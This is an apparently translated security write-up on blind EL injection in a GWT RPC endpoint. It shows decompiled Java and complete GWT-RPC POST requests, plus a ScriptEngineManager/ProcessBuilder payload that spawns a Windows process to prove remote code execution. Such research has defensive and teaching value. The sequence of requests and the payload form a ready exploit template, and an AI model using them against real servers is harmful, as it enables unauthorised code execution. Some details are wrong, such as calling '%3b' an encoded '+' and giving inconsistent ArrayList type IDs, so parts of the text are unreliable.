This article will introduce the injection of semi-complex language expressions in Google web developer framework (hereinafter referred to as GWT) endpoints, resulting in high-severity vulnerabilities.
Vulnerability introduction
In WEB-INF/web.xml I found the following web endpoint mappings:
<servlet> <servlet-name>someService</servlet-name> <servlet-class>com.aaa.bbb.ccc.ddd.server.SomeServiceImpl</servlet-class> </servlet> <servlet-mapping> <servlet-name>someService</servlet-name> <url-pattern>/someService.gwtsvc</url-pattern> </servlet-mapping>
It can be found in the above code that the server mapping is referenced. Since GWT defines the client class, it is convenient to indicate which methods the client can access. So now let's look at these client classes com.aaa.bbb.ccc.ddd.client:
public abstract interface SomeService extends RemoteService { public abstract void sendBeanName(String paramString); public abstract Boolean setMibNodesInfo(List<MIBNodeModel> paramList); public abstract void createMibNodeGettingBean(); }
We can get three functions that look interesting, so let's take them out and see what their respective functions are. In the jar main function using the SomeServiceImpl class, we found the following code:
public void sendBeanName(String paramString) { if (paramString == null) { return; } HttpSession localHttpSession = super.getThreadLocalRequest().getSession(); if (localHttpSession != null) { localHttpSession.setAttribute("MibWidgetBeanName", paramString); } }
In this code we change the "MibWidgetBeanName" property by entering a string. Other than that, there doesn't seem to be much to exploit. So let's move on to the setMibNodesInfo function:
public Boolean setMibNodesInfo(List<MIBNodeModel> paramList) { List localList = ModelUtil.mibNodeModelList2MibNodeList(paramList); if (localList != null) { MibNodesSelect localMibNodesSelect = getBeanByName();
This function expects a list of MIBNodeModel types. mibNodeModelList2MibNodeList This method will check whether the list we input conforms to the specification, and return different values according to the value of an element of the list.
If the list is empty, this function will define a new list and set the content to the default value of MIBNodeModel. Then getBeanByName function will be called. Go ahead and look at this function :)
private MibNodesSelect getBeanByName() { ... Object localObject1 = super.getThreadLocalRequest().getSession(); if (localObject1 != null) { localObject2 = (String)((HttpSession)localObject1).getAttribute("MibWidgetBeanName"); if (localObject2 != null) { localObject3 = null; try { localObject3 = (MibNodesSelect)FacesUtils.getValueExpressionObject(localFacesContext, "#{" + (String)localObject2 + "}"); } finally { if ((localFacesContext != null) && (i != 0)) { localFacesContext.release(); } } return (MibNodesSelect)localObject3; } } return null; }
Since this is a private function, we cannot directly view the contents of this function through the client. On line 8, we can see that the "MibWidgetBeanName" attribute is used again to store a string in localObject2.
The variable localObject2 is used later on line 14 to accept a language expression. Obviously, this is a classic expression injection vulnerability, but the premise is to disassemble the code first~
attack process
First, this is not a language expression injection vulnerability that returns a value. This means you don't know if it has executed the command you entered. Therefore, I consider it blind injection of language expressions.
Let me illustrate with a simple example. If there is such a vulnerability in our JSF(java server framework), then the vulnerability code will be similar to the following:
<h:outputText value="${beanEL.ELAsString(request.getParameter('expression'))}" />
Then, the attack can be realized through the following attack code:
http://[target]/some_endpoint/vuln.jsf?expression=9%3b1
Since the browser will convert the "+" sign into a space, we url-encode the "+" sign. If the result we get is 10, then we know that the server has executed this "9+1" command. Injection detection using mathematical expressions is how burpsuit detects injections.
However, in the code we audited above, can we not easily judge whether there is a language expression loophole? Of course not, we have other methods. Looking through the JSF documentation, I found some really cool functions that allow us to determine if there is an EL injection without making an http request.
The official Oracle documentation states that you can use the getExternalContext method on the FacesContext object. This method returns a value of type ExternalContext which allows us to set response properties on specific objects. When I was looking at the documentation, these two functions caught my attention:
1. setResponseCharacterEncoding 2. redirect
So we can set this specific string to the following java code:
facesContext.getExternalContext().redirect("http://srcincite.io/");
If the response status value is 302 and redirects to "http://srcincite.io/", then we can determine that there is a vulnerability.
test vulnerability
Our first request is to assign a value to the MibWidgetBeanName property.
POST /someService.gwtsvc HTTP/1.1 Host: [target] Accept: */* X-GWT-Module-Base: X-GWT-Permutation: Cookie: JSESSIONID=[cookie] Content-Type: text/x-gwt-rpc; charset=UTF-8 Content-Length: 195 6|0|6||45D7850B2B5DB917E4D184D52329B5D9|com.aaa.bbb.ccc.ddd.client.SomeService|sendBeanName|java.lang.String|facesContext.getExternalContext().redirect("http://srcincite.io/")|1|2|3|4|1|5|6|
By returning a response of "//ok[[],0,6]", we can know that our attention to GWT has been successful. Then the second request triggers the string stored in the session. However, before we send the request, because the setMibNodesInfo function passes in a complex variable type, we need to view the source code of the protected file to understand the types that are allowed to be submitted. in [strong
name].gwt.rpc file, I found the type that can be submitted in the array: java.util.ArrayList/382197682.
Now we can send our request data:
POST /someService.gwtsvc HTTP/1.1 Host: [target] Accept: */* X-GWT-Module-Base: X-GWT-Permutation: Cookie: JSESSIONID=FB531EBCCE6231E7F0F9605C7661F036 Content-Type: text/x-gwt-rpc; charset=UTF-8 Content-Length: 171 6|0|6||45D7850B2B5DB917E4D184D52329B5D9|com.aaa.bbb.ccc.ddd.client.SomeService|setMibNodesInfo|java.util.List|java.util.ArrayList/3821976829|1|2|3|4|1|5|6|0|
The correct return packet content should be similar to the following:
HTTP/1.1 302 Found Server: Apache-Coyote/1.1 Set-Cookie: JSESSIONID=[cookie]; Path=/; Secure; HttpOnly Set-Cookie: oam.Flash.RENDERMAP.TOKEN=-g9lc30a8l; Path=/; Secure Pragma: no-cache Cache-Control: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Pragma: no-cache Location: http://srcincite.io/ Content-Type: text/html;charset=UTF-8 Content-Length: 45 Date: Wed, 03 May 2017 18:58:36 GMT Connection: close //OK[0,1,["java.lang.Boolean/476441737"],0,6]
Of course, being able to redirect means that the execution has been successful. But what we need is to get the shell, after reading a great blog (http://blog.mindedsecurity.com/2015/11/reliable-os-shell-with-el-expression.html) I found that I can use ScriptEngineManager's scripts execute java code. But their code is very long, so I use the same method to write one myself:
"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("var proc=new java.lang.ProcessBuilder["(java.lang.String[])"](["cmd.exe","/c","calc.exe"]).start();")
Update the MibWidgetBeanName property value, then use setMibNodesInfo to specify this string again, and then get system permissions:
POST /someService.gwtsvc HTTP/1.1 Host: [target] Accept: */* X-GWT-Module-Base: X-GWT-Permutation: Cookie: JSESSIONID=[cookie] Content-Type: text/x-gwt-rpc; charset=UTF-8 Content-Length: 366 6|0|6||45D7850B2B5DB917E4D184D52329B5D9|com.aaa.bbb.ccc.ddd.client.SomeService|sendBeanName|java.lang.String|"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("var proc=new java.lang.ProcessBuilder["(java.lang.String[])"](["cmd.exe","/c","calc.exe"]).start();")|1|2|3|4|1|5|6|
Trigger language expression:
POST /someService.gwtsvc HTTP/1.1 Host: [target] Accept: */* X-GWT-Module-Base: X-GWT-Permutation: Cookie: JSESSIONID=FB531EBCCE6231E7F0F9605C7661F036 Content-Type: text/x-gwt-rpc; charset=UTF-8 Content-Length: 171 6|0|6||45D7850B2B5DB917E4D184D52329B5D9|com.aaa.bbb.ccc.ddd.client.SomeService|setMibNodesInfo|java.util.List|java.util.ArrayList/3821976829|1|2|3|4|1|5|6|0|
in conclusion
This vulnerability is almost impossible to find in a black box penetration test. Tools like burp suite won't find such bugs, especially considering the fact that strings are stored in the seesion.
With the advancement of network technology, we rely more and more on automation, and we need more knowledge, skills and tools in this field.